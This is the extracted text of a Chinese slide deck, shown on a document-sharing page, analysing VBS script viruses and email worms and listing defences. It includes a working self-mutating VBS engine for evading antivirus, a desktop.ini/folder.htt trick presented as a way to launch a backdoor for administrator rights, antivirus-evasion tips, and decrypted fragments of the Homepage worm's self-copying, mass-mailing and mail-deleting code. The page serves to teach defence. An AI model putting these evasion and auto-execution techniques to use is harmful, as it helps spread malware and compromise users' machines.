脚本病毒原理分析与防范_第1页
脚本病毒原理分析与防范_第2页
脚本病毒原理分析与防范_第3页
脚本病毒原理分析与防范_第4页
脚本病毒原理分析与防范_第5页
已阅读5页,还剩56页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、脚本病毒原理分析与防范,目录,一、Vbs脚本病毒的特点及发展现状 二、Vbs脚本病毒原理分析 三、如何防范vbs脚本病毒 四、对所有脚本类病毒发展的展望,自动关机 Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject(Scripting.FileSystemObject) Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject(WScript.Shell) Set c = fs.GetFile(WScript.ScriptFullName) str =HK d

2、ocument.clear(); document.writeln(run_exe); document.close(); 把其中的“程序名.exe”改为你想要启动的程序名称。 现在我们只要把desktop.ini、folder.htt和要启动的程序,放在同一个只读目录(记住一定要是只读目录,而且最好是管理员经常进去的)下,当管理员打开这个目录,程序就会自动得到运行。 这种方法可以用于通过启动后门程序得到管理员权限。,4vbs脚本病毒对抗反病毒软件的几种技巧 病毒要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS脚本病毒采用如下几种对抗反病毒软件的方法: 1)自加密 譬如,新欢乐时光病毒

3、,它可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。,下面看一个简单的vbs脚本变形引擎(来自flyshadow) Randomize Set Of = CreateObject(Scripting.FileSystemObject) 创建文件系统对象 vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall 读取自身代码 fS = Array(Of, vC, fS, fSC

4、) 定义一个即将被替换字符的数组 For fSC = 0 To 3 vC = Replace(vC, fS(fSC), Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) 取4个随机字符替换数组fS中的字符串 Next Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC 将替换后的代码写回文件 上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机

5、字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。,2)巧妙运用Execute函数 用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过E

6、xecute(String)函数执行,就可以躲避某些反病毒软件。,3)改变某些对象的声明方法 譬如fso=createobject(scripting.filesystemobject),我们将其改变为 fso=createobject(scripting.filesystemobject),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。 4)直接关闭反病毒软件 VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。,5Vbs病毒生产机的原理介绍 所谓病毒生产机就是指可以直接根据用

7、户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。 脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因,这里不作详细介绍。,三、如何防范vbs脚本病毒,1如何从样本中提取(加密)脚本病毒 对于没有加密的脚本病毒,我们可以直接从病毒样本中找出来,现在介绍一下如何从病毒样本中提取加密VBS脚本病毒,这里我们以新欢乐时光为例。 用JediEdit打开folder

8、.htt。我们发现这个文件总共才93行,第一行,几行注释后,以开始,节尾。相信每个人都知道这是个什么类型的文件吧! 第87行到91行,是如下语句: 87: 第87和91行不用解释了,第88行是一个字符串的赋值,很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar,再加上下面那一行,我们肯定能够猜到ThisText里面放的是病毒解密代码(熟悉vbs的兄弟当然也可以分析一下这段解密代码, too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码(经过解密处理后的代码)。,那么,下一步该

9、怎么做呢?很简单,我们只要在病毒代码解密之后,将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件: 首先,copy第88、89两行到刚才建立的.txt文件,当然如果你愿意看看新欢乐时光的执行效果,你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码,整个文件如下所示: ExeString = Afi. 第88行代码 Execute(Dim KeyAr. 第89行代码 set fso=createobject(scripting.filesystemobject) 创建一个文件系统对象

10、set virusfile=fso.createtextfile(resource.log,true) 创建一个新文件resource.log,用以存放解密后的病毒代码 virusfile.writeline(ThisText) 将解密后的代码写入resource.log OK!就这么简单,保存文件,将该文件后缀名.txt改为.vbs(.vbe也可以),双击,你会发现该文件目录下多了一个文件resource.log,打开这个文件,怎么样?是不是“新欢乐时光”的源代码啊!,2vbs脚本病毒的弱点 vbs脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种

11、条件默认情况下就具备了)。VBS脚本病毒具有如下弱点: 1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject 2)VBScript代码是通过Windows Script Host来解释执行的。 3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。 4)通过网页传播的毒需要ActiveX的支持 5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。,3如何预防和解除vbs脚本病毒 针对以上提到的VBS脚本病毒的弱点,笔者提出如下集中防范措施: 1)禁用文件系统对象FileSystemObje

12、ct 方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。 还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键0D43FE01-F093-11CF-8940-00A0C9054228的项,咔嚓即可。,2)卸载Windows Scripting Host 在Windows 98中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程序附件,取消“Windows Scripting Host”一项。 和

13、上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键F935DC22-1CF0-11D0-ADB9-00C04FD58A0B的项,咔嚓。 3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射 点击我的电脑查看文件夹选项文件类型,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。,4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。 5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”

14、安全选项卡里的自定义级别按钮。把“ActiveX控件及插件”的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个ActiveX组件如果不能运行,网络传播这项功能就玩完了。 6)禁止OE的自动收发邮件功能,7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。 8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。 9)呵呵,最后一项不说大家也应该知道了,杀毒软件确实很必要,尽管有些

15、杀毒软件挺让广大用户失望,不过,选择是双方的哦。在这个病毒横飞的网络,如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。,四、对所有脚本类病毒发展的展望,随着网络的飞速发展,网络蠕虫病毒开始流行,而VBS脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的VBS脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如PHP,JS,Perl病毒等。 但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。我们认为,脚本病毒仍将继续流行,但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。,禁用Scripti

16、ng Host 防范网页黑手,来自网络的攻击手段越来越多了,一些恶意网页会利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序、javaScript脚本语言程序、ActiveX软件部件交互技术支持可自动执行的代码程序,强行修改用户操作系统的注册表及系统实用配置程序,从而达到非法控制系统资源、破坏数据、格式化硬盘、感染木马程序的目的。 目前来自网页黑手的攻击分为两种:一种是通过编辑的脚本程序修改IE浏览器;另外一种是直接破坏Windows系统。前者一般会修改IE浏览器的标题栏、默认主页等,关于此方面的文章比较多。下面就来介绍一些针对破坏

17、Windows系统的网页黑手的防范方法。,黑手之一 格式化硬盘 这是一种非常危险的网页黑手,它会通过IE执行ActiveX部件并调用F或Deltree.exe将硬盘格式化或者删除文件夹。在感染此类破坏程序后,会出现一个信息提示框,提示:“当前的页面含有不完全的ActiveX,可能会对你造成危害,是否执行?yes,no”,如果单击 “是”,那么硬盘就会被迅速格式化,而这一切都是在后台运行的,不易被察觉。 防范的方法是:将本机的F或Deltree.exe命令改名字。另外,对于莫名出现的提示问题,不要轻易回答“是”。可以按下Ctrl+Alt+Del组合键在弹出的“关闭程序”窗口中,将不能确认的进程中

18、止执行。,黑手之二 耗尽系统资源 这种网页黑手会执行一段Java Script代码并产生一个死循环,以至不断消耗本机系统资源,最后导致系统死机。它们会出现在一些恶意网站或者邮件的附件中,只要打开附件程序后,屏幕上就会出现无数个IE窗口,最后只有重新启动计算机。 防范的方法是:不要轻易进入不了解的网站,也不要随便打开陌生人发来的E-mail中的附件,比如扩展名是VBS、HTML、HTM、DOC、EXE的文件。,黑手之三 非法读取文件 此类黑手会通过对ActiveX、JavaScript和WebBrowser control的调用来达到对本地文件进行读取。它还可以利用浏览器漏洞实现对本地文件的读取

19、,避免此类攻击可以关闭禁用浏览器的JavaScript功能。,黑手之四 获取控制权限 此类黑手会利用IE执行Actives时候发生,虽然说IE提供对于“下载已签名的ActiveX控件”进行提示的功能,但是恶意攻击代码会绕过 IE,在无需提示的情况下下载和执行ActiveX控件程序,而这时恶意攻击者就会取得对系统的控制权限。如果要屏蔽此类黑手,可以打开注册表编辑器,然后展开如下分支: 解决方法是在注册表分支HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility 下为Active Setup control

20、s创建一个基于CLSID的新键值6E449683_C509_11CF_AAFA_00AA00 B6015C,然后在新键值下创建一个REG_DWORD 类型的键Compatibility,并设定键值为0 x00000400即可。,对于来自网上的种种攻击,在提高防范意识的同时,还需做好预防工作。 1.设定安全级别 鉴于很多攻击是通过包含有恶意脚本实现攻击,可以提高IE的级别。在IE中执行“工具/Internet选项”命令,然后选择“安全”选项卡,选择 “Internet”后单击自定义级别按钮,在“安全设置”对话框中,将“ActiveX控件和插件”、“脚本”中的相关选项全部选择“禁用”,另外设定安全

21、级别为“高”。需要注意的是,如果选择了“禁用”,一些需要使用ActiveX和脚本的网站可能无法正常显示。 2.过滤指定网页 对于一些包含有恶意代码的网页,可以将其屏蔽,执行“工具/Internet选项”命令,选择内容选项卡,在“分级审查”中单击启用按钮,打开“分级审查”对话框,选择“许可站点”选项卡,输入需要屏蔽网址,然后单击从不按钮,再单击确定按钮。,3.卸载或升级WSH 有些利用VBScript编制的病毒、蠕虫病毒,比如 “I LOVE YOU”和“Newlove”,它们都包含了一个以 VBS为后缀名的附件,打开附件后,用户就会被感染。这些病毒会利用Windows内嵌的 Windows S

22、cripting Host 即WSH进行启动和运行。也就是说,如果将WSH禁用,隐藏在VB脚本中的病毒就无法被激活了。 在Windows 98中禁用WSH,打开“添加/删除”程序,选择“Windows 设置/附件”,并单击“详细资料”,取消“Windows Scripting Host”选项,完成后单击确定按钮即可。 在Windows 2000中禁用WSH的方法是,双击“我的电脑”图标,然后执行“工具/文件夹选项”命令,选择“文件类型”选项卡,找到“VBS VBScript Script File”选项,并单击删除按钮,最后单击确定即可。 另外,还可以升级WSH 5.6,IE浏览器可以被恶意脚

23、本修改,就是因为IE 5.5以前版本中的WSH允许攻击者利用JavaScript中的Getobject函数以及htmlfilr ActiveX对象读取浏览者的注册表,可以在下载最新版本的WSH。,4.禁用远程注册表服务 在Windows 2000/XP中,可以点击“控制面板/管理工具/服务”,用鼠标右键单击“Remote Registry”,然后在弹出的快捷方式中选择“属性”命令,在“常规”选项卡中单击停止按钮,这样可以拦截部分恶意脚本代码。 5.安装防火墙和杀毒软件 安装防火墙和杀毒软件可以拦截部分恶意代码程序,比如可以安装金山毒霸最新杀毒软件(内含:网页防火墙)。,典型的邮件型病毒代码分析

24、 随着 Internet 的迅猛发展,电子邮件成为人们相互交流最常使用的工具,于是它也成为新型病毒电子邮件型病毒的重要载体。最近一两年,出现了许多危害极大的邮件型病毒,如去年闹得沸沸扬扬的 ILOVEYOU 病毒、Melissa 病毒以及更早些时候的“泡泡男孩”等,而最近又有的 “库尔尼科娃”病毒、“Naked Wife” 病毒以及 Homepage 病毒等,这些病毒的特征就是危害较大,主要是利用电子邮件作为传播途径,而且这类病毒一般都是专挑 Windows平台上应用最普遍的邮件客户端Microsoft Outlook 来下手,其发作和破坏 主要是通过利用 Outlook 的可编程特性来完成的

25、,在收件人使用 Outlook 打开邮件或邮件附件时,里面的病毒就会自动激活并向“通讯簿”的所有人发带有病毒附件的邮件,类似于蠕虫一样“蠕动”,从而导致病毒的大规模迅速传播。如果是在企业环境中,由于网络速度较快,“通讯簿”中人数较多,只要用户打开已感染病毒的邮件,邮件会立即大规模地复制与传播,从而可能致使邮件服务器耗尽资源而瘫痪,其中部分病毒甚至可能破坏用户本地硬盘上数据和文件。,下面我们来分析一下最近出现的 Homepage 病毒,了解它的运行机制,以便对症下药,防毒治毒。 感染了 Homepage 病毒的邮件通常都带有一个名为 Homepage.html.vbs 的附件,很多人本以为他是一

26、个 Html 页面而打开它的同时,这个其实是一个 VBScript 的文件已经开始执行了,这个文件的部分内容如下:,Execute DeCode(QpGttqtTguwogPgzvUgvYU?Etgcvg Qdlgev*UgvHUQ?Etgcvgqdlge .(省略). uqhvyctgCpockngf0GpfKhPgzvGpfKh PgzvGpfkhGpfHwpevkqp) Function DeCode(Coded) For I = 1 To Len(Coded) CurChar= Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar= Ch

27、r(10) ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode & CurChar Next End Function,显而易见,病毒对自已的源码进行了加密以加强隐蔽性,加密后的代码就是 DeCode(.) 函数中间的那些乱七八糟的东西,这段 Scri

28、pt 在执行的时候先对利用 Decode 函数对自己进行解密,然后再执行(Execute)解密后的源代码。 我们只要对上述代码稍加修改,就能得到未加密的病毒源代码,修改后的文件另存为 SourceCode.vbs ,如下所示:,REM 得到病毒源代码 strCode = DeCode(QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev* UgvHUQ?Etgcvgqdlge .(省略). uqhvyctgCpockngf0GpfKhPgzvGpfKh PgzvGpfkhGpfHwpevkqp) REM 将源代码存放到一个文本文件中 Set FSO = CreateObjec

29、t(Scripting.filesystemobject) Set fCode = FSO.OpenTextFile(Code.txt,2,true) fCode.Write strCode fCode.Close FSO.Close REM 解密函数 Function Decode(Coded) .(省略). End Function,双击运行 SourceCode.vbs ,就可以在同一个目录下生成一个 Code.txt ,里面就是未加密的病毒源代码,部分关键代码如下所示: - On Error Resume Next Set WS = CreateObject(WScript.Shell

30、) -复制自已(病毒的典型特性之一) Set FSO= Createobject(scripting.filesystemobject) Folder=FSO.GetSpecialFolder(2) Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1) -将文件本身的内容读到内存中 Do While InF.AtEndOfStreamTrue ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf Loop Set OutF=FSO.OpenTextFile(Folder&homepage.HTML.vbs,2

31、,true) OutF.write ScriptBuffer,-写到同名文件中,复制任务完成 OutF.close Set FSO=Nothing -病毒编写者的编程习惯倒是挺好,懂得关闭不用的资源,难得 -向 outlook 的地址簿中的每一个地址发去一封携毒邮件 ,同时在注册表项 HKCUsoftwareAnmailed 中为自已做的一个标记, 保证在同一台主机上只发一次(传播也是病毒的典型特性) If WS.regread (HKCUsoftwareAnmailed) 1 then Mailit() End If -搞破坏,检索OUTLOOK收件箱,将其中主题为“Homepage”的邮件

32、统统 删除并将“已删除文件夹”中清空,同时随机打开四个色情 站点中的一个(破坏用户的数据是病毒的又一典型特性) Set s=CreateObject(Outlook.Application) Set t=s.GetNameSpace(MAPI) Set u=t.GetDefaultFolder(6),- u对象就是“收件箱”文件夹,下面的循环将指定的邮件全部删除 For i=1 to u.items.count If u.Items.Item(i).subject=Homepage Then u.Items.Item(i).close u.Items.Item(i).delete End If Next Set u=t.GetDefaultFolder(3) - u对象就是是“已删除邮件”文件夹,删除了还不够,还要清空,真够狠毒的 For i=1 to u.items.count If u.Items.Item(i).subject=Homepage Then u.Items.Item(i).delete End If Next,-随机打开四个色情站点中的一个(色情站点域名省略,有人说这是病毒作者在为自已的站点“拉客”) Randomize r=Int(4*Rnd)+1) If r=1 then WS.Run(http:/./shannon/1.htm) else

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论